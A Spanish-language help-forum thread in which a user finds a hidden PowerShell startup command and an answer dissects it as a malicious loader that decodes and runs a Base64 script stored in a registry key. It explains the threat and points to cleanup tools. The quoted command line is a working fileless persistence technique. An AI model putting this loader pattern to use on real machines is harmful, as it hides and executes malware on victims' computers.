¿Proceso aleatorio de powershell.exe?

¿Proceso aleatorio de powershell.exe?

Hace un par de días noté en el Administrador de tareas que tengo un proceso powershell.exe ejecutándose. Cuando fui a msconfig tiene un comando muy largo. Aquí lo tienes:

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));

Esto es realmente extraño porque justo hoy apareció un proceso aleatorio con el que tuve problemas antes (tal vez no esté relacionado con esto, solo digo) que es un virus e intenté descargar un controlador no seguro, como dice Windows, en mi PC. ¿Alguien podría decirme algo sobre este proceso de PowerShell? Se inicia al inicio y siempre está funcionando. Nuevamente, espero no parecer ignorante, tal vez sea solo un proceso de inicio normal.

Respuesta1

Es casi seguro que esto sea malicioso.

Desarmémoslo. Invoca Windows PowerShell (un intérprete de comandos legítimo y muy útil) sin personalizaciones del usuario ( -noprofile) en una ventana oculta ( -windowstyle hidden), lo que permite que la sesión de PowerShell ejecute scripts independientemente de la política del sistema ( -executionpolicy bypass). Luego ejecuta este comando:

iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))

gpsignifica Get-ItemProperty, que se puede utilizar para recuperar valores de claves de Registro, y eso es lo que hace aquí. Aparentemente, hay una clave llamada SAJELFZIXHQTVen su clave de usuario actual Software\Classes. Esa clave tiene un valor llamado ADUXJH, cuyos datos son los que gpse recuperan. Esos datos (evidentemente una cadena) son entoncesBase64-decodificado en una matriz de bytes ( FromBase64String). Luego, esos bytes se interpretan como texto ASCII ( ASCII.GetString). Curiosamente, hay un punto adicional en el original, lo que debería causar un error porque el ASCIIobjeto no tiene ningún miembro llamado Get. Sin embargo, dado que el proceso continúa, sospecho que el punto adicional es solo un error de transcripción.

Si ese error no estuviera ahí, el texto resultante se invocaría como un comando de PowerShell ( iex). En resumen, este comando está diseñado para cargar un script codificado desde el Registro y ejecutarlo. Para ver exactamente qué se está ejecutando, copie el comando de PowerShell anterior menos iexy sin el punto adicional en un indicador de PowerShell y ejecútelo. Imprimirá el comando que se invocaría. Es casi seguro que no será benigno.

Puede evitar que esa entrada se inicie automáticamente con elEjecuciones automáticasherramienta. Sin embargo, probablemente sea una buena idea realizar una limpieza más profunda de su máquina, ya que probablemente esté infectada. Por favor mira¿Cómo puedo eliminar spyware, malware, adware, virus, troyanos o rootkits maliciosos de mi PC?

información relacionada